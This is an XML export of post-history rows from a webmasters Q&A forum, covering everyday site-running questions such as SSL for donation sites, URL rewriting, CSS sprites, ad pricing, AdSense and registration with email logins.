  <row Id="13547" PostHistoryTypeId="3" PostId="6751" RevisionGUID="6a728f9d-5861-4318-92b2-0c7bbd874e9d" CreationDate="2010-12-15T11:51:37.323" UserId="3489" Text="&lt;google-analytics&gt;&lt;apache&gt;&lt;analytics&gt;&lt;banners&gt;&lt;awstats&gt;" />
  <row Id="13548" PostHistoryTypeId="10" PostId="6735" RevisionGUID="ced5e714-df44-4e19-91f8-d4e2ad7a93a8" CreationDate="2010-12-15T12:55:27.073" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13549" PostHistoryTypeId="2" PostId="6752" RevisionGUID="73ebe054-0c8c-4d7a-919f-a1fc46a8e466" CreationDate="2010-12-15T12:59:17.743" UserId="1253" Text="Both are myths. See [this answer for why][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3576/does-google-rate-the-webpage-by-amount-of-visits/3577#3577" />
  <row Id="13550" PostHistoryTypeId="2" PostId="6753" RevisionGUID="cd01ddc5-8c70-4aed-8eca-bb6924893b3b" CreationDate="2010-12-15T13:22:08.167" UserId="1918" Text="Your first step would be to contact the current registrant. If you feel that they have breached Nominet's terms for use of a UK domain, then you can use the [dispute resolution service][1] to settle issues over ownership of the domain. The Nominet site is uite good, and even explains [rights over domains][2] too&#xD;&#xA;&#xD;&#xA; [1]: http://www.nic.uk/disputes/drs/&#xD;&#xA; [2]: http://www.nic.uk/disputes/drs/rights/&#xD;&#xA;" />
  <row Id="13551" PostHistoryTypeId="5" PostId="6713" RevisionGUID="40655a4a-b427-4b51-850a-a1a0aef4c0e2" CreationDate="2010-12-15T13:40:25.493" UserId="3307" Comment="added 301 characters in body" Text="They usually don't allow adsense for what they deem to be &quot;personal content&quot;. I've tried it before on a personal blog. Also (as you found out) they only allow ads once the site has a fair bit of content on it.&#xD;&#xA;&#xD;&#xA;I can't find a link to it, but I suspect that's the reason.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;Ok, I've read around a bit and it _might_ be that it refers to the content between the [targeting tags][1] that you're supposed to put in your HTML. Maybe there's not enough content between the tags?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=23168" />
  <row Id="13552" PostHistoryTypeId="10" PostId="6743" RevisionGUID="c6ba65eb-af15-4b15-9c96-a79dbff470db" CreationDate="2010-12-15T14:18:17.893" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13553" PostHistoryTypeId="2" PostId="6754" RevisionGUID="0c387709-f722-48e4-a742-03ba07c8f55a" CreationDate="2010-12-15T14:23:09.913" UserId="1725" Text="When your registration form is using a user ID that is the same as their email address, I'm somewhat concerned over spammers using the &quot;User name is in use&quot; as a means to validate the existence of an email, or if there are other concerns I need to know of for validation sake (for instance, converting CaMeLcAsE to lowercase seems to be the status-quo despite the RFC spec).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This question is not about OpenID." />
  <row Id="13554" PostHistoryTypeId="1" PostId="6754" RevisionGUID="0c387709-f722-48e4-a742-03ba07c8f55a" CreationDate="2010-12-15T14:23:09.913" UserId="1725" Text="When using email as login name, what precautions should I take for registration?" />
  <row Id="13555" PostHistoryTypeId="3" PostId="6754" RevisionGUID="0c387709-f722-48e4-a742-03ba07c8f55a" CreationDate="2010-12-15T14:23:09.913" UserId="1725" Text="&lt;registration&gt;&lt;spam-prevention&gt;" />
  <row Id="13556" PostHistoryTypeId="2" PostId="6755" RevisionGUID="9d1a83e2-c4cb-453e-ad59-97065a1c19a4" CreationDate="2010-12-15T14:28:34.213" UserId="3863" Text="If you want something specifically for ads, take a look at http://openx.org, I use it for my site and I actually got accepted into their hosted solution beta, which I love because it gives me my own little ad server :)&#xD;&#xA;&#xD;&#xA;I've had great results with managing and targeting my site's advertising as it's a blend of &quot;manually chosen&quot; ad runs &amp; major network.&#xD;&#xA;&#xD;&#xA; - Download Source at http://openx.org/publisher/open-source-ad-server&#xD;&#xA; - I can't seem to remember how I applied for the enterprise solution beta (maybe its closed) but, here it is: http://openx.org/publisher/enterprise-ad-server&#xD;&#xA;&#xD;&#xA;p.s. I hear http://haveamint.com is pretty cool as well." />
  <row Id="13557" PostHistoryTypeId="2" PostId="6756" RevisionGUID="59888978-063f-4cb2-90a0-eddf6e7d1a74" CreationDate="2010-12-15T15:10:30.830" UserId="3307" Text="They can only tell if it's a valid email address if that person has registered with your site, so it all depends on how popular your site gets.&#xD;&#xA;&#xD;&#xA;I don't think that converting it to camelcase will change anything as they can easily convert to lower case or upper case if necessary.&#xD;&#xA;&#xD;&#xA;Have you thought of putting a captcha on the site? [Google's ReCaptcha][1] is always a good one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://google.com/recaptcha" />
  <row Id="13561" PostHistoryTypeId="2" PostId="6758" RevisionGUID="e66d310a-119e-4e1d-a5ea-0ada6e93e7cd" CreationDate="2010-12-15T15:13:44.043" UserId="1253" Text="You should make sure the email address is not only real but in the control of the registrant. Send an email to that address with an activation link inside. Make visiting that link a requirement for activating their account. That way you know the email is both real and in the control of the user.&#xD;&#xA;&#xD;&#xA;One check you may want to consider making is checking the DNS records of the email address's domain name to make sure MX records are set up for that domain. This helps to weed out fake emails account like `something@asfasdfasdf.com`. Just keep in mind that it is possible to setup your mail records in such a way that this check will fail for some legitimate email addresses. I've never had that problem but it is something to keep in mind." />
  <row Id="13562" PostHistoryTypeId="5" PostId="6756" RevisionGUID="2878e407-16ec-40d0-b818-031b3222f065" CreationDate="2010-12-15T15:38:03.500" UserId="3307" Comment="added 290 characters in body" Text="They can only tell if it's a valid email address if that person has registered with your site, so it all depends on how popular your site gets.&#xD;&#xA;&#xD;&#xA;I don't think that converting it to camelcase will change anything as they can easily convert to lower case or upper case if necessary.&#xD;&#xA;&#xD;&#xA;Have you thought of putting a captcha on the site? [Google's ReCaptcha][1] is always a good one.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;You could put a &quot;flipper&quot; around the captcha code (and the code that validates it).&#xD;&#xA;&#xD;&#xA;See how [Flickr][2] and [Forrst][3] do it&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://google.com/recaptcha&#xD;&#xA;  [2]: http://code.flickr.com/blog/2009/12/02/flipping-out/&#xD;&#xA;  [3]: http://blog.forrst.com/post/782356699/how-we-deploy-new-features-on-forrst" />
  <row Id="13566" PostHistoryTypeId="2" PostId="6759" RevisionGUID="c08f5db8-600c-48a2-9fec-9e5bc5849070" CreationDate="2010-12-15T15:43:21.417" UserId="529" Text="Using [campaign variables][1], you can tag the contents of links in your advertisements. This will let you track the inbound performance of your advertising.&#xD;&#xA;&#xD;&#xA;So, if you have a banner ad on reddit for example.com/reddit-sale, you could use the link with something like.&#xD;&#xA;&#xD;&#xA;&gt; http://example.com/reddit-sale/?utm_medium=banner&amp;utm_source=reddit.com&amp;utm_campaign=redditsale&#xD;&#xA;&#xD;&#xA;The traffic this gets would then be trackable within Google Analytics.&#xD;&#xA;&#xD;&#xA;Google Analytics also has a feature for importing Google Adwords click and cost data. This is currently exclusive to Google Adwords, and cannot be directly replicated with other Ads platforms. So, there's no way to directly evaluate CTR and $ data for any other advertising platform within Google Analytics. &#xD;&#xA;&#xD;&#xA;If your ad runs using an `&lt;iframe&gt;`, and your target site allows, you could put Google Analytics code in your ads to track impressions (I'd recommend using Event Tracking, as its more flexible and less confusing that muddling pageviews.), but I'd recommend using a different tracking account than your primary one, so the data doesn't ruin your primary data (each ad impression would count as a visit, and wouldn't make sense in the context of the rest of your data.)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/googleanalytics/bin/answer.py?answer=55578" />
  <row Id="13567" PostHistoryTypeId="2" PostId="6761" RevisionGUID="0c1e2bd8-2d3d-4074-b853-51607562839e" CreationDate="2010-12-14T12:00:17.157" UserDisplayName="Oded" Text="If you are going to handle money, you should use encryption.&#xD;&#xA;&#xD;&#xA;That means SSL certificates.&#xD;&#xA;&#xD;&#xA;As for costs - see [this][1] question and answers on webmasters.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/372/are-the-different-types-of-ssl-certificates-a-bit-of-a-scam" />
  <row Id="13568" PostHistoryTypeId="2" PostId="6762" RevisionGUID="96794108-b911-405c-8b60-263b7b6487e2" CreationDate="2010-12-14T16:18:46.443" UserDisplayName="Robert" Text="It all depends on how you set it up. If you use PayPal and have visitors go to the PayPal website to enter their credit card number, you do not need an SSL certificate. But if you have visitors enter their credit card number directly on your site, you absolutely need an SSL certificate. Certificates can cost from $10 to $1500 dollars depending on the [type and who you get them from][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sslshopper.com/ssl-certificate-wizard.html" />
  <row Id="13569" PostHistoryTypeId="2" PostId="6763" RevisionGUID="8233ea8f-df1c-489b-a19d-aee48f9bd38a" CreationDate="2010-12-15T10:06:01.387" UserDisplayName="OliviaSSLGuru" Text="Yes...you should have a certificate for such a site. If you are taking donations directly then you should go for a highly secure certificate. Otherwise, for paypal, you can have a standard certificate, because even paypal recommends to have a ssl installed. The cost will depend upon your need. I got it from rapidsslonline.com. You can check out the same." />
  <row Id="13570" PostHistoryTypeId="2" PostId="6760" RevisionGUID="eaa1cd51-ad28-4bd2-9077-54aed7a38278" CreationDate="2010-12-14T11:55:05.597" UserDisplayName="brianflhome" Text="Hii,&#xD;&#xA;The site is technically a foundation, a non profit organization website, which will allow people to make donations for the cause. Is purchasing an SSL certificate for this site a good idea?&#xD;&#xA;How much will it cost?&#xD;&#xA;" />
  <row Id="13571" PostHistoryTypeId="1" PostId="6760" RevisionGUID="eaa1cd51-ad28-4bd2-9077-54aed7a38278" CreationDate="2010-12-14T11:55:05.597" UserDisplayName="brianflhome" Text="Do i need an ssl certificate for a site allowing users to make donations online?" />
  <row Id="13572" PostHistoryTypeId="3" PostId="6760" RevisionGUID="eaa1cd51-ad28-4bd2-9077-54aed7a38278" CreationDate="2010-12-14T11:55:05.597" UserDisplayName="brianflhome" Text="&lt;ssl-certificate&gt;" />
  <row Id="13573" PostHistoryTypeId="17" PostId="6760" RevisionGUID="7f08b6b4-108b-4de9-8b30-b0b7f86c7820" CreationDate="2010-12-15T16:02:19.700" UserId="-1" Comment="from http://stackoverflow.com/questions/4438879/do-i-need-an-ssl-certificate-for-a-site-allowing-users-to-make-donations-online" Text="" />
  <row Id="13574" PostHistoryTypeId="2" PostId="6764" RevisionGUID="e8d47c42-fe58-41e1-a5ad-16e428ce9438" CreationDate="2010-12-15T17:37:57.317" UserId="3310" Text="1) Not directly but the more people who visit your site, the more people who will link it.  So what he says will most likely happen albeit indirectly.&#xD;&#xA;&#xD;&#xA;2) Alexa toolbar is a measure of SEO importance if that is your main method of marketing the site.  Whether it is a good one depends on whether your target market is the average toolbar user.  It is more accurate for large sites.  Again it is not directly reporting on your rankings but the amount of interest you are getting.  Remember the ultimate goal of SEO is not to get good search rankings but to attract **relevant** users to your site." />
  <row Id="13575" PostHistoryTypeId="2" PostId="6765" RevisionGUID="ce14a7ad-1104-4dd7-b5e8-e9a9daa8b519" CreationDate="2010-12-15T17:42:09.063" UserDisplayName="dzon" Text="I run a programming site and was contacted by a big product company. They want to publish 8 product posts about their product (they will write) in the next 6 months and purchase 5 million impressions of a 125x125 ad above fold. The product relates to the programming articles i write. I am not sure what to charge them per post and for the 125x125 ad. I do not run google ads.&#xD;&#xA;&#xD;&#xA;Something about my site:  &#xD;&#xA;Visitors: 320K p.m with majority from US, Canada, Europe and India.   &#xD;&#xA;Regular content.     &#xD;&#xA;11K Rss readers.   &#xD;&#xA;Google PR: 5   &#xD;&#xA;Alexa - 30K&#xD;&#xA;&#xD;&#xA;Can anyone help me how to go about this?" />
  <row Id="13576" PostHistoryTypeId="1" PostId="6765" RevisionGUID="ce14a7ad-1104-4dd7-b5e8-e9a9daa8b519" CreationDate="2010-12-15T17:42:09.063" UserDisplayName="dzon" Text="Advice on Advertisement Charges from WebMasters" />
  <row Id="13577" PostHistoryTypeId="3" PostId="6765" RevisionGUID="ce14a7ad-1104-4dd7-b5e8-e9a9daa8b519" CreationDate="2010-12-15T17:42:09.063" UserDisplayName="dzon" Text="&lt;advertising&gt;&lt;traffic&gt;" />
  <row Id="13578" PostHistoryTypeId="2" PostId="6766" RevisionGUID="1609084d-ef5e-41e8-809c-d8d5a871adc2" CreationDate="2010-12-15T18:43:32.300" UserId="3720" Text="I trying to get a user friendly URL.&#xD;&#xA;&#xD;&#xA;My current link is this:  &#xD;&#xA;http://www.norwegianfashion.no/designers/?designer=Batlak-og-Selvig&amp;bid=9  &#xD;&#xA;What I want is this  &#xD;&#xA;http://www.norwegianfashion.no/designers/Batlak-og-Selvig/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What do I need to do in order to get this URL?&#xD;&#xA;Anything I can do in .htaccess file?&#xD;&#xA;" />
  <row Id="13579" PostHistoryTypeId="1" PostId="6766" RevisionGUID="1609084d-ef5e-41e8-809c-d8d5a871adc2" CreationDate="2010-12-15T18:43:32.300" UserId="3720" Text="Need help getting user friendly URL" />
  <row Id="13580" PostHistoryTypeId="3" PostId="6766" RevisionGUID="1609084d-ef5e-41e8-809c-d8d5a871adc2" CreationDate="2010-12-15T18:43:32.300" UserId="3720" Text="&lt;url-rewriting&gt;&lt;user-friendly&gt;" />
  <row Id="13581" PostHistoryTypeId="2" PostId="6767" RevisionGUID="20227cb6-9758-41c6-8496-e5cf488a599a" CreationDate="2010-12-15T18:48:38.110" UserId="2552" Text="I do this with the htaccess file in a very similar way to get rid of the question mark using a RewriteRule. Hopefully someone can chime in with a better answer but the format I use on my site is:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^(.*)$ index.php?PAGE=$1 [L,QSA]" />
  <row Id="13582" PostHistoryTypeId="5" PostId="6766" RevisionGUID="12471ce4-a714-4f8b-938f-e3f3d98b6bb9" CreationDate="2010-12-15T19:09:44.053" UserId="3720" Comment="added 127 characters in body" Text="I trying to get a user friendly URL.&#xD;&#xA;&#xD;&#xA;My current link is this:  &#xD;&#xA;http://www.norwegianfashion.no/designers/?designer=Batlak-og-Selvig&amp;bid=9  &#xD;&#xA;What I want is this  &#xD;&#xA;http://www.norwegianfashion.no/designers/Batlak-og-Selvig/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What do I need to do in order to get this URL?&#xD;&#xA;Anything I can do in .htaccess file?&#xD;&#xA;&#xD;&#xA;**Update**  &#xD;&#xA;I'm using Wordpress which has it's own permalink structure. I'm not sure if it's possible to add URL-rewrite?&#xD;&#xA;" />
  <row Id="13583" PostHistoryTypeId="5" PostId="6766" RevisionGUID="00d96998-3c34-4be7-b52b-dc6f2248ffc4" CreationDate="2010-12-15T19:14:50.323" UserId="3720" Comment="added 127 characters in body" Text="I trying to get a user friendly URL.&#xD;&#xA;&#xD;&#xA;My current link is this:  &#xD;&#xA;http://www.norwegianfashion.no/designers/?designer=Batlak-og-Selvig&amp;bid=9  &#xD;&#xA;What I want is this  &#xD;&#xA;http://www.norwegianfashion.no/designers/Batlak-og-Selvig/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What do I need to do in order to get this URL?&#xD;&#xA;Anything I can do in .htaccess file?&#xD;&#xA;&#xD;&#xA;**Update**  &#xD;&#xA;I'm using Wordpress which has it's own permalink structure. I'm not sure if it's possible to add URL-rewrite?&#xD;&#xA;&#xD;&#xA;I'm also looking at this link: http://articles.sitepoint.com/article/guide-url-rewriting/2 , but I'm not very succesfull.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13584" PostHistoryTypeId="2" PostId="6768" RevisionGUID="276ce787-e88e-4744-8891-77284a0b5272" CreationDate="2010-12-15T19:30:13.923" UserId="1597" Text="Amazon recently introduced a free tier for its cloud offering. I signed up for AWS and while signing up for the free tier of S3, i found this&#xD;&#xA;&#xD;&#xA;&gt; As part of AWS Free Usage Tier, you&#xD;&#xA;&gt; can get started with Amazon S3 for&#xD;&#xA;&gt; free. Upon sign-up, new AWS customers&#xD;&#xA;&gt; receive 5 GB of Amazon S3 storage,&#xD;&#xA;&gt; **20,000 Get Requests, 2,000 Put Requests,**&#xD;&#xA;&gt; 15GB of bandwidth in and&#xD;&#xA;&gt; 15GB of bandwidth out each month for&#xD;&#xA;&gt; one year.&#xD;&#xA;&#xD;&#xA;source:aws.amazon.com , emphasis mine.&#xD;&#xA;&#xD;&#xA;20,000 GET requests &amp; 2000 puts mean , 20,000 page views and 2000 file uploads per month.&#xD;&#xA;&#xD;&#xA;Isn't that lower than what App Engine offers [43,200,000 requests][1] per day.Am I missing some thing, please help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/appengine/docs/quotas.html" />
  <row Id="13585" PostHistoryTypeId="1" PostId="6768" RevisionGUID="276ce787-e88e-4744-8891-77284a0b5272" CreationDate="2010-12-15T19:30:13.923" UserId="1597" Text="Amazon Web Services Free Trial query about get and put requests" />
  <row Id="13586" PostHistoryTypeId="3" PostId="6768" RevisionGUID="276ce787-e88e-4744-8891-77284a0b5272" CreationDate="2010-12-15T19:30:13.923" UserId="1597" Text="&lt;amazon-s3&gt;&lt;google-app-engine&gt;" />
  <row Id="13587" PostHistoryTypeId="2" PostId="6769" RevisionGUID="558ffdc0-ddf1-4f04-b85c-1c995e302b11" CreationDate="2010-12-15T19:36:39.487" UserId="3912" Text="Glad to be here.  Been tooling around on S/O for a year or so now.&#xD;&#xA;&#xD;&#xA;Anyway, I run a very localized site that caters to the bar industry and its patrons.&#xD;&#xA;&#xD;&#xA;You can check it out at jcbarguide.com if you need a reference.&#xD;&#xA;&#xD;&#xA;Anyhow, I've written the whole thing from the ground up and culled a lot of original content.  The binaries on the site require that I actually visit each location so I have formed real-world relationships with the owners of many of the establishments and many of them are appreciative and supportive of the site.&#xD;&#xA;&#xD;&#xA;In the last month, I have finally bested YELP in SERPs for key search phrases (jersey city bars, bars in jersey city, jersey city bar, etc)&#xD;&#xA;&#xD;&#xA;I celebrated this milestone by letting many of my contacts have up to 3 free ROS 728x90 leaderboards for a month.&#xD;&#xA;&#xD;&#xA;NO ONE took me up on the offer.&#xD;&#xA;&#xD;&#xA;It's been so hard to generate any sort of money on this property and I'm wondering why.  I wrote an admin interface to update each bar profile that I was charging access to that no one wanted.  I gave it away for free after 2 months and only 2 or 3 bar owners/managers own it.&#xD;&#xA;&#xD;&#xA;I've had friends tell me that I suck at selling the concept. others say that if I don't charge, no one will want it (perceived value) and others that just say the site has yet to reach a level of value that these owners and managers will finally notice.&#xD;&#xA;&#xD;&#xA;As far as I am concerned, I'd think these owners would jump at a site that's ranking as well and being visited as much as mine is.  The municipality that the site serves isn't exactly the most affluent of stable hub for commerce out there.&#xD;&#xA;&#xD;&#xA;Any thoughts from you on establishing your online property's value are appreciated.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Rob" />
  <row Id="13588" PostHistoryTypeId="1" PostId="6769" RevisionGUID="558ffdc0-ddf1-4f04-b85c-1c995e302b11" CreationDate="2010-12-15T19:36:39.487" UserId="3912" Text="Advertising / Premium Access sales strategies" />
  <row Id="13589" PostHistoryTypeId="3" PostId="6769" RevisionGUID="558ffdc0-ddf1-4f04-b85c-1c995e302b11" CreationDate="2010-12-15T19:36:39.487" UserId="3912" Text="&lt;advertising&gt;&lt;business-models&gt;&lt;administration&gt;&lt;value&gt;" />
  <row Id="13590" PostHistoryTypeId="5" PostId="6769" RevisionGUID="f2f367b5-ba90-46c4-85e1-3ad54294837d" CreationDate="2010-12-15T19:41:41.693" UserId="3912" Comment="added 4 characters in body" Text="Glad to be here.  Been tooling around on S/O for a year or so now.&#xD;&#xA;&#xD;&#xA;Anyway, I run a very localized site that caters to the bar industry and its patrons.&#xD;&#xA;&#xD;&#xA;You can check it out at jcbarguide.com if you need a reference.&#xD;&#xA;&#xD;&#xA;Anyhow, I've written the whole thing from the ground up and culled a lot of original content.  The binaries on the site require that I actually visit each location so I have formed real-world relationships with the owners of many of the establishments and many of them are appreciative and supportive of the site.&#xD;&#xA;&#xD;&#xA;In the last month, I have finally bested YELP in SERPs for key search phrases (jersey city bars, bars in jersey city, jersey city bar, etc)&#xD;&#xA;&#xD;&#xA;I celebrated this milestone by letting many of my contacts have up to 3 free ROS 728x90 leaderboards for a month.&#xD;&#xA;&#xD;&#xA;NO ONE took me up on the offer.&#xD;&#xA;&#xD;&#xA;It's been so hard to generate any sort of money on this property and I'm wondering why.  I wrote an admin interface to update each bar profile that I was charging access to that no one wanted.  I gave it away for free after 2 months and only 2 or 3 bar owners/managers utilize it.&#xD;&#xA;&#xD;&#xA;I've had friends tell me that I suck at selling the concept. others say that if I don't charge, no one will want it (perceived value) and others that just say the site has yet to reach a level of value that these owners and managers will finally notice.&#xD;&#xA;&#xD;&#xA;As far as I am concerned, I'd think these owners would jump at a site that's ranking as well and being visited as much as mine is.  The municipality that the site serves isn't exactly the most affluent of stable hub for commerce out there.&#xD;&#xA;&#xD;&#xA;Any thoughts from you on establishing your online property's value are appreciated.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Rob" />
  <row Id="13591" PostHistoryTypeId="2" PostId="6770" RevisionGUID="dd8c48af-db74-4cc3-8faf-2543211d16d2" CreationDate="2010-12-15T20:43:57.450" UserId="3914" Text="Yes&#xD;&#xA;&#xD;&#xA;Google Apps engine costs less. So if you can live with the restrictions (programming model!) of app engine, it is the **by far** more cost effective solution." />
  <row Id="13592" PostHistoryTypeId="2" PostId="6771" RevisionGUID="8c9050ea-20d3-4507-80f2-dec4986294d1" CreationDate="2010-12-15T21:36:42.977" UserId="1953" Text="As far as #1 goes, if it does have an impact it won't be enough to justify spending resources on it. (that being said email if done well is a great marketing channel). There has been speculation about Google using traffic data for a long time and it's not out of the realm of possibilities. As spam gets more sophisticated so does Google, and they have boatloads of data available to them, between search, the google toolbar, chrome web browser, google analytics, adwords, adsense, gmail, and so on. An easy test would be to setup a new site, send out an email and see if rankings follow (I'll be willing to bet that they don't... at least not beyond the long tail).&#xD;&#xA;&#xD;&#xA;As far as Alexa goes you are correct, it is skewed and at least mainly based off their toolbar. It is very easy to manipulate so why not prove it to him by driving up your Alexa rank and see if you get more Google traffic. I tried it a few years ago, and it didn't work for me, but there's no harm in giving it a go if your buddy needs convincing." />
  <row Id="13593" PostHistoryTypeId="2" PostId="6772" RevisionGUID="55740b74-7472-4920-af04-bfe59dfe9019" CreationDate="2010-12-15T21:42:20.383" UserId="3913" Text="Give [Stackable][1] a try.  We've worked hard to build robust Django hosting and the hosting is laterally &amp; vertically scalable.  Full disclosure - I own the company.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackable.com" />
  <row Id="13594" PostHistoryTypeId="2" PostId="6773" RevisionGUID="bc846c7e-01d6-47e1-9268-10b852e14f1a" CreationDate="2010-12-15T21:45:54.483" UserId="3262" Text="Well just that, Is it the same to do this (just an example)&#xD;&#xA;&#xD;&#xA;    .option1 { background:url(foo.png) 0 0 no-repeat;&#xD;&#xA;    .option2 { background:url(foo.png) 0 -30px no-repeat;&#xD;&#xA;    .option3 { background:url(foo.png) 0 -60px no-repeat;&#xD;&#xA;&#xD;&#xA;and this? (just an example too)&#xD;&#xA;&#xD;&#xA;    .option-container { background:url(foo.png) no-repeat;}&#xD;&#xA;    .option1 { background-position: 0 0 no-repeat;}&#xD;&#xA;    .option2 { background-position: 0 -30px no-repeat;}&#xD;&#xA;    .option3 { background-position: 0 -60px no-repeat;}&#xD;&#xA;&#xD;&#xA;It is that for me is more simple the first way, becouse I have to style many divs.&#xD;&#xA;&#xD;&#xA;Like this one&#xD;&#xA;&#xD;&#xA;	&lt;div class=&quot;jp-interface-container&quot;&gt;&#xD;&#xA;		&lt;div class=&quot;jp-controls&quot;&gt;&#xD;&#xA;			&lt;div id=&quot;custom_jplayer_play&quot; class=&quot;jp-play&quot;&gt;play&lt;/div&gt;&#xD;&#xA;			&lt;div  id=&quot;custom_jplayer_pause&quot; class=&quot;jp-pause&quot;&gt;pause&lt;/div&gt;&#xD;&#xA;			&lt;div id=&quot;custom_jplayer_volume_max&quot; class=&quot;jp-volume-max&quot;&gt;max volume&lt;/div&gt;&#xD;&#xA;		&lt;/div&gt;&#xD;&#xA;		&lt;div class=&quot;jp-progress&quot;&gt;&#xD;&#xA;			&lt;div id=&quot;custom_jplayer_load_bar&quot; class=&quot;jp-load-bar&quot;&gt;&#xD;&#xA;				&lt;div id=&quot;custom_jplayer_play_bar&quot; class=&quot;jp-play-bar&quot;&gt;&lt;/div&gt;&#xD;&#xA;			&lt;/div&gt;&#xD;&#xA;		&lt;/div&gt;&#xD;&#xA;		&lt;div id=&quot;custom_jplayer_volume_bar&quot; class=&quot;jp-volume-bar&quot;&gt;&#xD;&#xA;			&lt;div id=&quot;custom_jplayer_volume_bar_value&quot; class=&quot;jp-volume-bar-value&quot;&gt;&lt;/div&gt;&#xD;&#xA;		&lt;/div&gt;&#xD;&#xA;		&lt;div id=&quot;jplayer_play_time&quot; class=&quot;jp-play-time&quot;&gt;&lt;/div&gt;&#xD;&#xA;		&lt;div id=&quot;jplayer_total_time&quot; class=&quot;jp-total-time&quot;&gt;&lt;/div&gt;&#xD;&#xA;		&lt;div class=&quot;interface_end&quot;&gt;&lt;/div&gt;&#xD;&#xA;	&lt;/div&gt;" />
  <row Id="13595" PostHistoryTypeId="1" PostId="6773" RevisionGUID="bc846c7e-01d6-47e1-9268-10b852e14f1a" CreationDate="2010-12-15T21:45:54.483" UserId="3262" Text="[CSS] Any difference between background: url() and background-position in sprites?" />
  <row Id="13596" PostHistoryTypeId="3" PostId="6773" RevisionGUID="bc846c7e-01d6-47e1-9268-10b852e14f1a" CreationDate="2010-12-15T21:45:54.483" UserId="3262" Text="&lt;css&gt;&lt;website-design&gt;&lt;images&gt;" />
  <row Id="13597" PostHistoryTypeId="10" PostId="6773" RevisionGUID="a3e86d54-7e2d-4258-a6a1-86c0a1f7d4e6" CreationDate="2010-12-15T21:48:29.663" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13598" PostHistoryTypeId="5" PostId="6773" RevisionGUID="01984116-c910-449c-a382-391f94af403b" CreationDate="2010-12-15T22:02:24.710" UserId="3262" Comment="deleted 878 characters in body" Text="Well just that, Is it the same to do this (just an example)&#xD;&#xA;&#xD;&#xA;    .option1 { background:url(foo.png) 0 0 no-repeat;&#xD;&#xA;    .option2 { background:url(foo.png) 0 -30px no-repeat;&#xD;&#xA;    .option3 { background:url(foo.png) 0 -60px no-repeat;&#xD;&#xA;&#xD;&#xA;and this? (just an example too)&#xD;&#xA;&#xD;&#xA;    .option-container { background:url(foo.png) no-repeat;}&#xD;&#xA;    .option1 { background-position: 0 0 no-repeat;}&#xD;&#xA;    .option2 { background-position: 0 -30px no-repeat;}&#xD;&#xA;    .option3 { background-position: 0 -60px no-repeat;}&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13599" PostHistoryTypeId="2" PostId="6774" RevisionGUID="9b6002df-8e36-47ce-8b9e-d758c30ad5c8" CreationDate="2010-12-15T22:07:21.920" UserId="1064" Text="This is a non-issue if you return the same message for both of the following cases:&#xD;&#xA;&#xD;&#xA;* Invalid login/invalid pass&#xD;&#xA;* Valid login/invalid pass&#xD;&#xA;&#xD;&#xA;It is generally a *bad* idea to tell a user that his login is valid but his pass is invalid: doing so allows an attacker to find valid logins." />
  <row Id="13601" PostHistoryTypeId="2" PostId="6776" RevisionGUID="d582ec85-ae15-4714-9f82-4db9b7a77b4c" CreationDate="2010-12-15T22:48:51.523" UserId="3918" Text="Depending on how you set it up, you could use the post name for the permalink. So, in the admin area of wordpress, you'd go to Pemalinks, and use a custom one. Then, type in %postname% in the input box, and that'll create the permalink by post. So, if you create a new page/post called &quot;Test&quot;, the url would be -&#xD;&#xA;norwegianfashion.no/Test" />
  <row Id="13606" PostHistoryTypeId="2" PostId="6779" RevisionGUID="efcc0e87-9b49-47de-a464-e0257cef6814" CreationDate="2010-12-16T00:51:02.993" UserDisplayName="user3920" Text="First: rename favicon to favicon.ico.&#xD;&#xA;&#xD;&#xA;Second: go to your site example.ext and add /favicon.ico to the end like example.ext/favicon.ico you should see a favicon.&#xD;&#xA;&#xD;&#xA;Third: try reloading (or refresh) then CTRL Shift R then CTRL F5 (very top of keyboard) favicon should update.&#xD;&#xA;&#xD;&#xA;This should make your computer work and the rest of the world will probably update in a few days.&#xD;&#xA;&#xD;&#xA;If you still have trouble then I don't know. It may be a Chrome issue which may get fixed in the next update. You can also go to http://code.google.com/p/chromium/issues and add an issue.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13607" PostHistoryTypeId="2" PostId="6780" RevisionGUID="f86e91f4-affd-4bf3-b959-899553ae5271" CreationDate="2010-12-16T01:21:46.307" UserId="3688" Text="Even though it is a donation site, you must professionally setup the site so that it does not look like a bogus site. Therefore, I still believe you still need to have SSL, regardless of whether you are using PayPal or not.&#xD;&#xA;&#xD;&#xA;In case you like to purchase an SSL, you can try http://domreg.asphostserver.com. Please remember that it is far more important to have a professionally secured site, rather than to save $60.00 per year for SSL.&#xD;&#xA;&#xD;&#xA;:-)" />
